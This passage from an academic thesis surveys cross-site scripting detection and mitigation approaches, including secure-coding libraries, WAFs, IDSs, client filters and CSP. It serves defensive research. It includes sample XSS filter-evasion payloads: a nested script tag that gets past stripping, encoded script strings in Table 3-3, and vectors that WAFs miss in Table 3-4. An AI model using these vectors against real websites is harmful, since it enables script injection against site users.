technique is that it can detect previously unknown vulnerabilities. Unfortunately, there is
a disadvantage in that false positives could occur when the normal behaviour is not
properly captured in the training data. This type of technique is often used by IDSs.

3.2.1.2 Analysis Method
There exist various methods to analyze the application for XSS vulnerabilities. Similarly,
to the detection techniques, a standard categorization of XSS analysis methods does not
exist. For this reason, the studies used for the detection technique [58-61] were again
consulted to give a direction to the research process.

In total, five analysis methods were identified. These are static/dynamic analysis,
secure coding and black-box/white-box testing. A quick overview of each approach is
described in the following paragraphs.

Static analysis techniques analyze the program code to learn how the
control/data would flow at runtime without executing the code. This can be seen as an
automated version of human code reviews. On the other hand, dynamic analysis
techniques analyze the information obtained during the running of the program to detect
vulnerabilities. Typically, dynamic analysis methods tend to be more precise (i.e. less
false positives than static analysis) in detecting vulnerabilities to static analysis because
the approximation approach that is used in static analysis is not employed. However,
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dynamic analysis alone cannot detect all information flows. Thus, commonly dynamic
analysis is performed after static analysis. These techniques are usually used in Security
Assessment Strategies as will be discussed in Section 3.3.1.2.

Secure coding is an approach to reduce security vulnerabilities by implementing
or by utilizing third-party security controls in the application source code. One of its aims
is that of making the software behave in a predictable way despite unexpected input or
user actions. To achieve this secure coding standards and practices recommend
controls such as access control, input validation, encoding, and principles such as the
principle of least privilege and the principle of separation of duties. Adopting secure
coding is the best approach to mitigating vulnerabilities however the main drawback of
secure coding is that Web application developers need to be well-trained and disciplined
to write secure code or to use the secure libraries. Secure coding techniques are
discussed in Section 3.3.1.1.

Black-box testing techniques test applications without knowing the internal
structure of code. Typically, tools using this approach inject input and then observe and
compare the obtained results to what was expected. Penetration testing and fuzzing are
two techniques that make use of this approach to testing. On the other hand, white-box
testing techniques use the internal structure of code obtained by static analysis to
identify the user input flow and to find code areas that could lead to potential
vulnerabilities.

3.2.2 Time
The type of detection technique selected by an organisation is also dependent on the
planned vulnerability detection time in the software life cycle. In general, XSS
vulnerabilities can be detected during development time (i.e. coding time and testing
time) and also during operation in the field (operational time).

Typically, due to their nature static analysis techniques can only be applied at
coding time whilst white-box and block-box techniques are used during testing time. On
the other hand, dynamic analysis techniques are usually employed at operational time
after the software is released and is in use. Due to its nature, secure coding applies to
each phase of the software life cycle.
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3.2.3 Location
XSS vulnerability detectors can be deployed at various locations. In general, the
detection locations can be classified into two broad categories – server and client.
Furthermore, under the server category we could identify server-side application and
server-side proxy and under the client category we could recognize Web browser, clientside application and client-side proxy as valid entities. In reality, there also exists a third
category, the hybrid category that includes both the client and the server category.

The main advantage of having a client-based solution over a server-based
solution is that it gives the end-users more protection against Web sites that do not have
good security processes in place. However, there are various drawbacks to having a
client-side solution. The main drawback is the necessity to install updates or additional
components on each user's workstation. Having such a precondition is perceived as an
obstacle or might not even be considered by the vast majority of users. Also, even if the
solution is available at central server it cannot protect the client immediately till the
download takes place. This makes them vulnerable to zero-day attacks which are
increasing and targeting a wider array of applications.

Besides the above disadvantages, it is also worth mentioning the often ignored
fact that even if the download is installed on the client there are other challenges
associated with such an approach. This includes ensuring that the client's machine is not
compromised with malware, problems associated with user switching to an alternative
browser or maybe even upgrading the current browser, and also a reality where
developers tend to run various tools such as client-side Web proxies (e.g. WebScarab
and Burp), network packet capture tools (e.g. WireShark and Ethereal) and functional
testing software (e.g. Selenium and HttpUnit) that do not require the standard Web
browser for operation and henceforth bypassing most of the client-side safeguards.
Another disadvantage of client-side solutions is that most of the approaches lead to
either too many false positives or too many false negatives (i.e. missing vulnerabilities
that actually exist in the scanned application) and thus making them very impractical for
the users and for the software industry in general.
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On the other hand, the server-based solutions do not require the end-users to
download and install anything additional on their machine. Therefore, protection can be
applied transparently and immediately without the users even being aware of it and
without requiring any modifications to the Web browser or to any software belonging to
the end-user. Furthermore, having controls deployed on the server implies that these
checks cannot be bypassed as is the case for client-based solutions (for instance by
switching to an alternative browser or by MITM attacks). Also, since these controls are
usually implemented by Web developers or by enterprise security professionals these
controls tend to be more specific and henceforth much more effective than client
controls. The disadvantage with the server-based approach is that in contrast with the
client-based approach this approach would give only protection to sites that have a
security process in place. However, the scope of the thesis is that of protecting the
enterprise from XSS attacks. For this reason, the server-based approach is the preferred
alternative for its practicality, reliability and for being the option that offers the most
immediate protection.

3.2.4 Reaction
After having gone through the detection phase and classified the input as malicious or
not malicious, the next stage is about taking actions with the received input. There are in
general two options to follow, one is that of executing a system-defined action and the
other is that of following a user-defined action.

The typical system-defined actions, especially when using the WAF approach
(described in Section 3.3.1.3), include that of logging the request or blocking the request.
Also, as will be described in Section 3.3.1.1, it is common for Secure Coding Techniques
to encode input as a reaction to unsafe content.

On the other hand, the user-defined actions can include the execution of custom
rules or workflows that a developer or user has designed. There are also other possible
ways of reacting which depend also on the analysis method. For instance, it is very
common for white-box/black-box techniques to report back to the tester in report form
the vulnerabilities found in the target application. Also, some of the tools react ‘silently’
by rewriting the existing code to a safer alternative or by disallowing the unsafe call to
pass-through. This approach is often followed by the Code Rewriting approaches
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(discussed in Section 3.3.2.5) and by the JavaScript sandbox approach (discussed in
Section 3.3.4).

3.3 Existing Mitigations
After having gone through and explained the different strategies used to address XSS
the next step is to analyse some of the most cited and the current state-of-the-art
defenses to XSS. The existing work is split into three sections addressing the “Where
shall we deploy the protection mechanism (location)?” question.

In the section we will start by looking at the server-based mitigations and then
move on to discuss client and hybrid-based mitigations. Although the proposed solution
is server-based the author feels that for completeness the alternative techniques should
be described so that researchers and any interested readers can better understand the
context for such a proposal.

3.3.1 Server-Side Approaches
The server-side approaches can be grouped according to their technical nature and as
such it was decided to categorize them into three separate classes according to the
combination of the “Detection Technique” and the “Analysis Method” employed by each
tool.

3.3.1.1 Secure Coding Techniques
Secure coding (aka defensive programming) is a form of defensive design intended to
ensure the ongoing function of software in spite of unpredictable usage. Defensive
programming approaches provide support in the form of safe Application Programming
Interfaces (APIs), libraries, aspects and filters. In the following paragraphs we will
discuss each of these approaches in turn.

An Application Programming Interface (API) is a set of rules and specifications
(serving as an interface) that a software component is to follow to ‘talk’ to another
component without knowing the details of how the other component is implemented. Two
well-known APIs for protecting against XSS attacks include htmLawed [65] and Kses
[66]. Kses is an HTML/XHTML filtering script written in PHP. This filter is used by
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WordPress blogging application. The aim of this API is that of removing all unwanted
HTML elements and attributes and also to mitigate XSS, buffer overflows and DOS
attacks. Configuring and using Kses is simple. However, numerous bugs and security
vulnerabilities have been publicly disclosed by its users. Similarly to Kses but with more
features is htmLawed. This is another open-source filter that sanitizes HTML to prevent
security vulnerabilities. It basically rewrites HTML to remove tags and data that could be
used to perform XSS attacks. However, numerous XSS attacks are not prevented by this
filter allowing for instance attackers to inject particular HTML code via invalid CSS
expressions in Internet Explorer (IE) style sheets. One of the dangers with the stripping
approach common to both of the APIs is that it can sometimes be used to trigger the
XSS attack. For instance, if the API removes the word <script> from an input vector
then

for

the

“><scr<script>ipt>alert(document.cookie)</scr</script>ipt>

string
this

actually results in the injection of a working XSS payload to the application.

On the other hand a collection of software methods and classes that could also
include different APIs typically form a software library. Two of the most popular anti-XSS
libraries are OWASP AntiSamy [67] and Microsoft Anti-XSS [68] library. AntiSamy is an
open-source library that parses and cleans input HTML/CSS from XSS using a whitelist
validation technique. It uses an XML policy file (knowledgebase) that defines what tags
and attributes are allowed in an application. It has very good XSS cleansing abilities, it is
reasonably fast and its API is clean. The disadvantage is the difficulty of creating, and
the tedious task of maintaining, the policy file (you need to figure out the tags and
attributes to allow for your Website) for each application. This can take considerable
effort and my opinion after using this tool is that it requires a seasoned developer
especially if the business data is diverse and uses complex formats and complex datatypes (such as URIs). Also, another disadvantage of AntiSamy is that the policy
language does not support all HTML/CSS tags such as image maps.

The next library, Ms. Anti-XSS library, which is part of the Microsoft Web
Protection Library (WPL) provides a wrapper that uses a whitelist approach to encode
untrusted user input, including HTML, HTML attribute, XML, CSS and JavaScript. The
advantage of using this library when compared to its open-source equivalent, AntiSamy,
is that it is relatively easy to utilize the full power of this library and technically it can be
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applied across the board to any ASP.NET powered application without requiring much
modification to the existing code. However, this library can only be used for projects
coded using .NET technology. This is in contrast with AntiSamy which has been ported
to many platforms including for instance .NET and PHP. Also, the Anti-XSS library only
offers encoding functions and thus is meant to be used only as a part of a defense-indepth strategy to XSS protection.

Secure coding approaches are adapted to different programming paradigms.
One of the paradigms is the Aspect-Oriented Programming (AOP) programming
paradigm. AOP [69] entails breaking down the program logic into distinct parts
(concerns) and it tends to increase modularity by allowing the separation of cross-cutting
concerns (i.e. concerns that affect other concerns) such as logging, security and
operational management. The AOP paradigm allows developers to express such crosscutting concerns in standalone modules called aspects with the intention of making
applications easier to understand and maintain. In literature there is only one reported
system, AProSec [70], that uses this approach to XSS and SQL Injection protection. This
system is however only capable of transforming an 'unsafe' HTML input tag to a safe tag
by using input encoding and by removing possibly malicious tags such as javascript and
vbscript from the input. Unfortunately, this only removes the most common XSS vectors
and it ignores malicious input for instance occurring through CSS, event handlers
attributes and URL encoded input strings. It also lacks the flexibility to utilize custom
actions or to define page-specific settings making it very prone to false positives.

Similarly to the AOP paradigm, filters [71] allow for the interception of request
and response packets going from and to an application. Filters can be used to preprocess or redirect application requests and also to post-process or replace the content
of application responses. One system that uses filters implemented in Java Enterprise
Edition (JEE) technology to defend against XSS attacks is the system proposed by S.
Jayamsakthi and M. Ponnavaikko [72]. This system uses the grammar-based violation
technique to detect XSS vulnerabilities. As the authors claim the core part of their
system is platform and language independent and the system has been successfully
tested against 2000 XSS vulnerable inputs. The disadvantages are that the system
requires intensive configuration (although this is assisted by a tool) and reviewing the
system design revealed various performance bottlenecks. Furthermore, the system
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requires modification to the target Web applications making it impossible to immediately
benefit from the protection unless the required changes are installed. Since there is not
much information on this system, the authors were contacted for additional details
regarding the tool and its evaluation. Unfortunately, the authors were very difficult to
reach and their feedback was terse and debatable.

Irrespective of the security coding approach the techniques that can be used to
mitigate XSS attacks are validation (filtering) and encoding (escaping). The best
protection against XSS risks is a two-layered strategy that uses both validation and
escaping. However, in reality most of the existing tools, including also some of the tools
in different categories such as WAFs and IDS, use only one of these mechanisms.
These techniques and their variants are described below:


Input/Output Validation – Input validation is a technique used to check the user
input for invalid or dangerous content. In an input filter-based approach, the user
input is scanned against a whitelist (positive security model) or a blacklist
(negative security model) and a proper action (reaction) is adopted thereafter. A
whitelist is a list of accepted items and generally a whitelist-based filtering
scheme ensures that all requests are denied unless they are specifically allowed.
On the other hand, a blacklist is a list containing known malicious input. While a
blacklist is useful for applications that are already deployed the ‘deny’ approach
is not robust as the whitelist ‘allow’ approach because malicious data, such as
XSS attack patterns, are in constant evolution. On the other hand, output
validation works in the same way as input validation however only data written
back to the page is scanned instead of all the data is parsed. Typically, only input
validation is performed on the data to mitigate the risk of XSS attacks and
typically the blacklist list approach is used.

As an extra protective measure, it can be worthwhile to employ both a whitelist
filter and a blacklist filter when validating input. While recognizing that blacklist
filters are inadequate this does not imply that they are useless. One should not
rely solely on a blacklist to filter input, but instead opt to use it in conjunction with
a whitelist. Such a hybrid approach when implemented properly can result in a
very powerful defense against XSS attacks. The whitelist can be used to ensure

3. Existing Solutions

63

that the input matches the designated format and then the blacklist is used to
exclude additional known problems. The implemented anti-XSS framework uses
a similar but a more flexible hybrid approach to protection.


Input/Output Encoding – Encoding is another technique for sanitizing content.
Essentially, encoding makes unwanted characters, script and tags benign by
replacing them with the alternative encoded representation. For example, HTML
encoding is a popular character entity reference (e.g. <script> is encoded to
&lt;script&gt;). This type of sanitizing can be helpful when the allowable
input range cannot guarantee that the input is safe. A common example of
encoding input in Web applications is using URL encoding or HTML entity
encoding to wrap data and to treat it as literal text rather than executable script.
Just like validation there are two variants of encoding – input and output
encoding. Input encoding requires the user to know where the data is going (its
context). This is suited for small Web applications, but it can be detrimental for
Web applications implemented by multiple developers especially if the application
is distributed. This is because predicting the data context could involve
assumptions and such assumptions could introduce new vulnerabilities. On the
other hand, output encoding in generally tends to be easier to implement as the
developer needs to determine the context in which data is being returned rather
than where it is inputted. Typically, only output encoding is used as a defense to
XSS. Nowadays, frameworks such as Django, GWT SafeHtml, Ctemplate and
others [73] implement features that perform automatic output encoding and/or
other types of filtering procedures in HTML contexts, however as we will mention
in Section 3.3.4, these frameworks are still far from being practical.

Encoding is also sometimes misused by hackers for creating obfuscated XSS
vectors that bypass most of the blacklist validation filters. In the table below,
Table 3-3, we are coding the string <SCRIPT>alert("XSS")</SCRIPT> using
different encodings. The encodings shown in the table below were tried and
tested on Internet Explorer 9 and in Chrome 9 through the use of standard HTML
tags such as <img>, <a>
JavaScript

and <META HTTP-EQUIV> and the use of

methods

String.fromCharCode(..).

such
The

as
resultant

alert(..)
strings

demonstrate

and
the
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infeasibility of building a blacklist filter that caters for all combinations of invalid
input.

Encoding

Resultant String

HTML

&lt;script&gt;alert(&apos;xss&apos;)&lt;/script&gt

Hex

UTF-7

&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x6
1;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#
x73;&#x27;&#x29;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;
&#x70;&#x74;&#x3e;
&#x60;&#x115;&#x99;&#x114;&#x105;&#x112;&#x116;&#x62
;&#x97;&#x108;&#x101;&#x114;&#x116;&#x40;&#x39;&#x12
0;&#x115;&#x115;&#x39;&#x41;&#x60;&#x47;&#x115;&#x99
;&#x114;&#x105;&#x112;&#x116;&#x62;
&#x74;&#x163;&#x143;&#x162;&#x151;&#x160;&#x164;&#x7
6;&#x141;&#x154;&#x145;&#x162;&#x164;&#x50;&#x47;&#x
170;&#x163;&#x163;&#x47;&#x51;&#x74;&#x57;&#x163;&#x
143;&#x162;&#x151;&#x160;&#x164;&#x76;
+ADw-script+AD4-alert('XSS')+ADsAPA-/SCRIPT+AD4

Base64

PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9TQ1JJUFQ+Cg==

Decimal

Octal

Table 3-3 – Blacklist Filter Evasion

It is in generally agreed, that secure coding is the most natural and the most
desirable course of action to prevent and fix XSS vulnerabilities. However, there are
various disadvantages associated with this approach. As we discussed in Section
3.3.1.1, the main disadvantage is that developers need to be trained or accustomed to
write secure code or to learn how to use the secure libraries. Also, my experience
suggests that in the balancing of competing priorities, the need to produce a stable and
functional application by a deadline normally overrides less tangible security
considerations. Naturally, this depends, as other things, on the management’s
commitment to security and also on the type of business that the company is involved in.

While using a third-party library might help developers, the presence of multiple
XSS entry points, that includes even input points such as PDFs, Flash objects and
images makes it very difficult for the programmer to write XSS safe code. However, as
with other areas of security, controls are not only technical but also involve procedures
and processes. Thereby, soft controls such as policies can be put in place to prohibit
developers from using Flash or to disallow completely the use of for instance file uploads
to the application. Also, with secure coding there is the disadvantage of reduced
performance. The performance overhead is due to the necessity to filter or scan the
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input for unsafe characters. Finally, there is the disadvantage that most Web servers in
use are closed-source and thereby disallowing a third-party to patch security holes. This
is a reality for instance in Japan where according to a study by Ohmaki about 80% of all
e-commerce sites in Japan are prone to XSS attacks because they cannot be patched
by a third-party [74].

3.3.1.2 Security Assessment Strategies
A security assessment is a rigorous view of an applications code, searching for potential
vulnerabilities that may allow attacks on the application. The assessment usually
includes both the identification of bugs and the insertion of runtime guards in potentially
insecure code sections. Typically, static analysis and/or dynamic analysis techniques are
used to perform the assessment. Two of the most representative tools that utilize this
approach to XSS are Web application Security by Static Analysis and Runtime
Inspection (WebSSARI) [75] and Pixy [76].

WebSSARI is the pioneering server-side tool that uses information-flow analysis
with a combination of static and dynamic analysis (runtime-inspection) to detect and
partially fix input-validation related errors in particular SQL injections and XSS
vulnerabilities in PHP code. While the tool was used to scan 230 open-source Web
applications for major vulnerabilities the main drawback of the tool is the false positive
rate which is claimed to be as high as 26.9% (after adding support for type-aware
qualifiers) [77]. Furthermore, the approximation mechanism used to predict the runtime
is complex for scripting languages and may not be adequate for the current AJAX/Web
2.0 applications.

Another popular real-world anti-XSS server-side application is the open-source
Pixy. This tool, written in Java, uses static analysis to scan PHP 4 code for both XSS
and SQL Injection vulnerabilities. Pixy uses information-flow analysis to dynamically
determine if a user input can reach a target statement without being validated. Although
this tool is efficient in detecting XSS vulnerabilities the observed false positive rate is
claimed to be around 50% and thus requiring a lot of manual analysis [64]. This is both
time consuming and not helpful especially for non-seasoned developers who need to
decide whether each of the detected vulnerability is real or not.
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Furthermore, both of these tools share the disadvantage that they are unable to
deal with the object-oriented features of PHP and the inability to adapt the tool to the
needs of specific projects. Whatever the case, the reported false positive rate is
undoubtedly very high for almost any type of business and thus making them both
impractical for the industry. Also, due to the nature of such tools they are tightly coupled
with the language they are scanning and henceforth they cannot be easily extended to
cater for other languages.

3.3.1.3 WAF and IDS Approaches
An Intrusion Detection System (IDS) is a device or software application that scans
network traffic as the packets flow through it. An IDS tries to match data in the packets
against a signature database (input-based signature detection) or detect anomalies
(anomaly-based detection) against what is predefined as “normal” traffic [78]. The
drawback to an IDS is the inability to understand Web application protocol (OSI Layer 7)
and thus it could potentially allow attacks to pass through without detection or
prevention. This is where Web Application Firewalls (WAFs) come in the picture. WAFs
are systems that are designed to protect Web applications/servers from Web-based
attacks in the same way as IDSs do but with the addition that they are able to analyze
the Layer 7 Web application logic. This allows for protecting against Web application
threats like XSS, SQLi, and session hijacking [78]. Both of the approaches have been
used by both industry and researchers to protect against Web application threats
including XSS.

Scott and Sharp [79] developed a human maintainable Security Policy
Description Language (SPDL) that specifies validation constraints and transformation
rules defining what to do (reaction) when a certain pattern is found (detection) in the user
input. This system implemented a basic WAF that uses input-signature detection with
dynamic analysis technique to protect Web applications against XSS and SQL
Injections. Though it provides immediate assurance of Web application security their
system has two main disadvantages. The first drawback is the difficulty involved in
identifying and in creating the validation constraints for each individual entry point to a
Web application. The second disadvantage is the increase in the server response time
that slows the dynamic generation of Web pages.
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IBM’s Rational AppScan [80] is a commercial server-side proxy solution that uses
a black-box testing technique to scan the Web application for common vulnerabilities
such as XSS attacks. As opposed to Scott and Sharp’s approach, it does not require an
application specific configuration file and thus while making it easy to install at the same
time it makes it less powerful as it is more generic. In fact, a whitepaper "Analyzing the
Effectiveness and Coverage of Web Application Security Scanners" [81] compiled by an
application security consultant, Larry Suto, indicate that AppScan misses 88% legitimate
vulnerabilities. Together with two other commercial WAFs (although nowadays these
WAFs are no longer available), InterDo and Teros-100 APS, AppScan uses both input
and output validation. A problem appearing in all these tools, as indicated by NguyenTuong et al. [82], is that without extensive configuration they are subject to false
positives and false negatives although not to the extent of Security Assessment
Strategies.

ModSecurity is a popular open-source WAF that can work either embedded
(deployed on Apache-based Web servers) or as a network gateway (as part of an
Apache-based reverse proxy). It features a negative security model (i.e. a blacklist)
which is signature-based. ModSecurity is easy to install, apparently it does not have a
huge performance hit when run in tandem with other network devices and it offers good
protection against some of the most common Web attacks “out-of-the-box” with its
default set of rules (aka Core Rule Set (CRS)). The disadvantage is however that with
some tricks the filters can be bypassed (like most anti-virus solutions which are
signature-based), it is also infrequently updated and it does not support different
encodings. Having personally analyzed ModSecurity I also concluded that it is not much
user-friendly when it comes to configuration and monitoring of attacks. This is mainly
because it lacks a management console.
A popular open-source IDS is PHPIDS. This application helps to safeguard PHPbased applications from XSS, SQLi, header injection and other attacks. The advantages
are that it is simple to use and it offers in general a well-structured security layer for PHP
based Web applications. This tool in contrast to ModSecurity is well-maintained and its
code-base supports various encoding algorithms [83]. In fact, it is often claimed, in the
official PHPIDS Website [84], that PHPIDS can detect obfuscated attacks including
several characters sets such as UTF-7, JavaScript Unicode, decimal and hex entities,
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and it is also capable of detecting previously unknown attacks. However, the
disadvantages are the amount of generated false positives, the dependence on PHP
language and the fact that it consumes a lot of CPU cycles. There is no information
available that compares ModSecurity performance with that of PHPIDS.

Even though these tools provide an immediate assurance of Web application
security, unfortunately to some extent most of the current WAF and IDS filters can be
bypassed with simple tricks as is shown in the table below, Table 3-4. This table
demonstrates some of the XSS attacks which according to Eduardo Alberto Vela Nava
et al. [85] fail to get detected by some of the prominent WAF and IDS filters. The reason
for such evasion is that most of the tools in this category are primarily driven by the
negative security model. Unfortunately, as we saw in Table 3-3, there are so many
different ways of creating an XSS attack that blacklist filters fail to block. Another
limitation with such an approach is that it protects Web applications only at the
deployment (operational) phase instead of trying to help eliminate bugs during the
development phase.
Detected Attacks

Undetected Attacks

“;alert(0);”

“*alert(0)*”

‘;alert(0),b’

‘%0alert(0)%0a’

alert(0)

%00alert(0)

<script>alert(0)</script>

<script
type=vbscript>MsgBox(0)</script>
<img src=x:x
onerror=alert(0)//></img>

<img src=’x:x’
onerror=’alert(0)’></img>

Table 3-4– Server-Side Filter Evasion

3.3.2 Client-Side Approaches
Complementary to mitigating XSS on the server-side are client-side tools. This section
looks at some of the most important categories and options that an end-user can utilize
to defend against XSS attacks.

3.3.2.1 Disabling Script Execution
The easiest and guaranteed solution to prevent XSS attacks is to disable the execution
of scripts within the Web browser. This option is supported in the majority of the Web
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browsers and the advantage of this is that no script will execute on the client-side and
thus preventing any XSS attack from succeeding. The disadvantage is however that any
user enhancement features within a Web page will be as a consequence disabled. As a
result of this, some Web applications, for instance Gmail, will not function.

3.3.2.2 Script Blockers
To provide better protection against XSS some Web browsers are coming with an
additional built-in layer of protection. Microsoft Internet Explorer 8 (IE8) and higher
versions come with a built-in XSS filter. This filter works by scanning outbound requests
(server responses) for potential malicious strings. It uses a blacklist to detect known XSS
attacks however it is limited by the fact that it can only detect reflected XSS attacks.

On the other hand, Mozilla Firefox comes with an anti-XSS add-on called
NoScript that sanitizes HTTP request parameters before they are sent to a Web server.
This is in contrast with IE8 XSS filter which scans the server responses rather than the
client request for suspicious code. The disadvantage to NoScript is that it requires
manual installation by the user and it tends to be more intrusive than the IE8 filter.
Also, in 2009 and 2010 Google worked on developing its own set of client-side
XSS filters, known as XSS Auditor, to be included in Google Chrome. The internal
workings of XSS Auditor differ substantially from NoScript and Microsoft’s XSS Filter
however the end result is the same. At the time of writing XSS Auditor seems to have
been replaced by another anti-XSS filter called NotScript. This tool does not provide the
advanced protection features that are supported by NoScript, and there are issues that
question the tool’s effectiveness [86].

As a caveat, these blockers can only protect against Type 0 and Type 1 XSS
attacks and not against stored (persistent) XSS. In each case the filter is unacceptably
slow or is easily circumvented. For example, an attacker can circumvent the IE8 filter by
encoding tricks as was demonstrated by Eduardo Vela Neva and David Lindsay [87].
Sometimes, also these filters can widen the Website attack surface by introducing an
additional entry point into the application.
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3.3.2.3 Virtualization
Instead of using add-ons or stand-alone tools that run outside of the Web browser
environment, more advanced users, especially IT developers or system administrators,
prefer the option of virtualization to prevent against XSS attacks. Tools such as VMware
or VirtualBox are usually used to surf the Web in an emulated environment.

The advantage of virtualization is that if an attack occurs, the important data on
the actual host machine remains well protected (at least in most of the cases). However,
there is the issue and the hassle of having to remember to rollback to the last known
good state after an XSS exploit occurs.

3.3.2.4 IDS
Ismail et al. [88] proposed a client-side intrusion detection system to mitigate XSS
vulnerabilities. This client proxy compares requests and responses and disables them
(through output encoding) when malicious characters in the GET and POST parameters
are detected. This approach relies mostly on heuristics and it does not have a learning
component and thereby failing to recognize new attack vectors. The main disadvantage
is however that the tool is only able to protect against reflected XSS attacks.
Furthermore, some particular HTML/JavaScript injections (in-script and attribute
injections) fail to get detected by the tool. Also, if transparent encryption is used the
proxy cannot track the requests and responses.

Kruegel and Vigna introduced Noxes [89] a client-side Web proxy based IDS that
analyzes browsed HTML pages for hyperlinks that might lead to the leakage of sensitive
data. This proxy uses anomaly-based detection with heuristics and firewall rules to
implement a security policy. On the negative side, anomaly-based detection in contrast
to signature-based detection systems is not generally easy to configure, fine-tune and
implement. But, Noxes makes it easy to configure and adjust the rules through manual
means, training and also through prompting. Nevertheless, the main disadvantage,
which is even shared by the developers of the tool, is that the target users of this tool
need to be technical (“we are mainly targeting users with a certain level of technical
sophistication”).
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3.3.2.5 Code Rewriting
Determining whether a code snippet will accomplish a malicious action is an instance of
the decision problem known in computability theory as the halting problem. Three of the
tools that take this challenge by rewriting Web pages and any embedded scripts into
their safe equivalent to secure Web browsers from known vulnerabilities are
BrowserShield, CoreScript and AjaxScope [90]. Basically, these projects rewrite the
HTML and JavaScript code to enforce security policies and to monitor the runtime
behaviour (such as error reporting and memory leak detection) of JavaScript
applications. Typically, they insert runtime checks and wrappers to restrict the code
behaviour. The main disadvantage of these tools is the significant performance
overhead required to parse the actual HTML and JavaScript and to perform
computations for each HTTP request. Also, with script obfuscation the tool parsers can
be evaded. An example of script tag name obfuscation is the script <Lµ
onclick=alert(1)>Click Here</Lµ> which effectively hides the hyperlink tag in
Google Chome.

3.3.3 Hybrid Approaches
Some solutions apply hybrid approaches which incorporate both the client (typically the
Web browser) and the server. The server is typically used to declare policies and to
identify/annotate policy regions. The Web browser is then responsible for checking and
enforcing the policies over the identified policy regions. Browser-Enforced Embedded
Policies (BEEP) [91], Noncespaces [92] and Secure Web Application Proxy (SWAP) [93]
are three hybrid methods that work by modifying both the Web browser and Web server
to provide resistance to XSS attacks.

BEEP works by checking with the Web server whether for the given execution of
a script (by the Web browser) there is a cryptographic hash in the Web server whitelist. If
the hash is found the script is considered trusted and is executed by the browser,
otherwise it is not rendered. BEEP is limited in the sense that other types of content,
potentially containing XSS, such as CSSs and plug-in contents such as Adobe Flash
and Java Applets are not restricted by BEEP, and henceforth they are still able to run
scripts in the context of the page.
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Noncespaces is able to differentiate between untrusted and trusted content in
Web pages using randomized XML namespaces. The server partitions Web content into
trust classes, randomizes the document and assigns a policy for each trust class. The
client then displays the Web page only if it conforms to the policy assigned by the server.
While effective against some types of XSS attacks, Noncespaces does not protect from
stored XSS and additionally it is limited to only XHTML documents, so other document
formats not based on XML (such as HTML 4) do not benefit from this technique.

SWAP is another more recent server-side solution for protecting users of a Web
application against XSS attacks. It operates on a reverse proxy intercepting all HTML
Web responses and forwarding them to a JavaScript detection component (consisting of
a Web browser) before actually forwarding them back to the client’s Web browser. It
detects XSS by comparing encoded versions of JavaScript calls versus those being
executed by the Web browser. While SWAP can be deployed transparently it introduces
a performance overhead (to encode, compare and decode each JavaScript call) and it is
browser dependent (on the end-user browser and also on the tools’ Web browser).
Finally, SWAP is limited to JavaScript code injections and thereby it fails to detect for
instance VBScript injections.

The mentioned hybrid mitigation techniques are very powerful but they share the
same drawback with client-based solutions which is the requirement of deployment on
the end-user’s machines. Such an approach requires modifications not only on the
server software but also on the client’s infrastructure. That is, they need to be installed
by users, most of which are oblivious to the damage XSS can cause.

3.3.4 Emerging Technologies
Research indicates that there are three classes of XSS defense technologies that are
emerging. These include Mozilla's CSP, JavaScript Sandbox tools and auto-escaping
templates [33, 94]. These mechanisms are described in the following paragraphs.


CSP – Content Security Policy (CSP) is a Mozilla proposal [95] aimed to mitigate
XSS, clickjacking and packet sniffing attacks in the browsers supporting it
(currently Gecko-based browsers). It provides granular controls that allow a
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Website administrator to specify the domains that the Web browser should
consider to be valid sources of executable scripts. A CSP compatible browser
would then only execute scripts loaded in source files received only from those
whitelisted domains, ignoring all other scripts (including inline scripts and eventhandling HTML attributes). This should in theory mitigate XSS attackers however
in reality there are limitations. The first limitation is that CSP requires Websites
not to make use of inline code and also to separate JavaScript into separate files.
This might not per se be considered as a limitation for new applications but it is a
limitation for legacy applications and applications which are closed-source.
Another disadvantage or point of discussion is what happens if a compromised
site manages to add its dodgy domain to the whitelisted domains. This problem is
similar to that of having a compromised root certificate or a compromised CA
being added to the list of trusted root CAs that are preinstalled in IE. Finally, the
third problem with CSP is a true lack of standards. Currently, there is not a strong
indication that this model will be similar to the model being used by IE, Chrome,
Safari and others. This approach can be classified as a hybrid approach as it
involves modification to both the Website and Web browser.


JavaScript Sandbox – A JavaScript sandbox is a component that inspects code
before it is run, capturing any non-legitimate code and if found prevent it from
executing. Google Caja [96], FBJS [97] and Microsoft WebSandbox [98] are
three examples of technologies that sanitize to a certain extent the JavaScript
code by performing a code translation. Google Caja, which is being adopted by
MySpace, Yahoo! and Google, builds a sandbox around the set of HTML, CSS
and JavaScript that defines some type of functionality and then uses static
analysis and code rewriting using a ‘safer’ JavaScript subset. Then, Facebook
JavaScript (FBJS) and WebSandbox define a JavaScript subset/superset and
prevent developers from using the raw language. While the JavaScript sandbox
approach is useful from a security standpoint it might restrict the developer’s
freedom. For instance, there were complaints regarding the Facebook Markup
Language (FBML)/FBJS in that it provided only limited wrappers around the
code.
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An alternative, but similar, to the JavaScript sandbox approach is what are known
as presentation-oriented lightweight markup languages. Instead of transforming
ordinary HTML/JavaScript or a subset/superset of it into a restricted form, such
markup languages allow users to write through an intermediate formatting based
language and then this language gets translated by the server to a markup
language that Web browsers can understand. These languages are becoming
more popular in various Web applications, especially weblogs and wikis, to allow
users to enter richly formatted text. Many different lightweight markup languages
have been developed, and three of the most popular ones are BBCode,
Markdown and Textile. The advantage of this approach is that it does not allow
users to specify arbitrary input which can be disguised using various techniques
and henceforth it prevents against XSS attacks. The disadvantage is however a
practical one, which is that of limiting the formatting functionality to a small
HTML/CSS subset. The approaches in this category fall into the domain of
prevention rather than that of detection and reaction.


Auto-Escaping (aka Automatic Context-Aware Escaping) Templates – An
auto-escaping template engine eliminates the repetitive and error-prone task
Web developers have to properly escape variables. Django [99] is a high-level
Python Web framework that auto-escapes all output from template variables.
Typically, to determine the type of escaping to use a built-in HTML aware parser
is used by the template system. While most auto-escaping templates may save
typing by turning on escaping by default, the Web developer still needs to inspect
each template to make sure that the correct escaping is used for each string.
Django is not an exception to this. Furthermore, escaping can only stop some
XSS attacks. It alone for instance cannot detect UTF-7 encoding attacks. Another
problem, besides the limitation to Python, is that with such an approach there is a
limitation on what context can be automatically determined. This has to do with
unclean HTML or specific browser supported HTML. Therefore while such an
approach is good to defend against XSS attacks it cannot be used alone. Due to
its nature, this approach can be classified under the server-side approaches to
XSS and more specifically as a development framework that assists in secure
Web coding.
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3.4 Summary
